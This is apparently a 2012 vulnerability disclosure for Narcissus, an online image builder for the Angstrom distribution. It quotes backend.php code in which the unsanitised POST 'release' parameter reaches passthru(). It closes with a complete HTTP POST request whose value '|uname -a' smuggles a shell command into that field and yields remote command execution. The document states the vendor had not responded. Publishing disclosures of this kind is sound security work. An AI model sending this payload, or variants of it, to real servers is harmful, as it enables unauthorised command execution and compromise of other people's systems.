74 lines
No EOL
2.4 KiB
Text
74 lines
No EOL
2.4 KiB
Text
:::::::-. ... ::::::. :::.
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;;, `';, ;; ;;;`;;;;, `;;;
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`[[ [[[[' [[[ [[[[[. '[[
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$$, $$$$ $$$ $$$ "Y$c$$
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888_,o8P'88 .d888 888 Y88
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MMMMP"` "YmmMMMM"" MMM YM
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[ Discovered by dun \ posdub[at]gmail.com ]
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[ 2012-11-13 ]
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##########################################################
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# [ Narcissus ] Remote Command Execution Vulnerability #
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##########################################################
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#
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# Script: "Narcissus - Online image builder for the angstrom distribution"
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#
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# Vendor: http://www.angstrom-distribution.org/
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# Download: https://github.com/Angstrom-distribution/narcissus
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#
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# Vendor was informed some time ago, but did not respond yet.
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#
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##########################################################
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#
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# [ Remote Command Execution ]
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#
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# File: /narcissus/backend.php ( lines: 10-183 ):
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# ..cut..
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# if (isset($_POST["action"]) && $_POST["action"] != "") {
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# $action = $_POST["action"]; // 1
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# } else {
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# print "Invalid action: $action";
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# exit;
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# }
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#
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# if (isset($_POST["machine"])) {
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# $machine = escapeshellcmd(basename($_POST["machine"])); // 2
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# } else {
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# print "Invalid machine";
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# exit;
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# }
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# ..cut..
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# if (isset($_POST["release"]) && $_POST["release"] != "") {
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# $release = $_POST["release"]; // 3
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# } else {
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# $release = "stable";
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# }
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# ..cut..
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# switch($action) {
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# ..cut..
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# case "configure_image": // 4
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# print "configuring\n";
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# configure_image($machine, $name, $release); // 5
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# break;
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# ..cut..
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# function configure_image($machine, $name, $release) {
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# print "Machine: $machine, name: $name\n";
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# passthru ("scripts/configure-image.sh $machine $name-image $release && exit"); // 6 [RCE]
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# }
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# ..cut..
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#
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# Vuln:
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# http://localhost/narcissus/backend.php
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#
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# POST /narcissus/backend.php HTTP/1.1
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# Host: localhost
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# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
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# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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# Accept-Language: pl,en-us;q=0.7,en;q=0.3
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# Accept-Encoding: gzip, deflate
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# Connection: keep-alive
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# Content-Type: application/x-www-form-urlencoded
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# Content-Length: 50
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# machine=0&action=configure_image&release=|uname -a
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#
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### [ dun / 2012 ] ####################################### |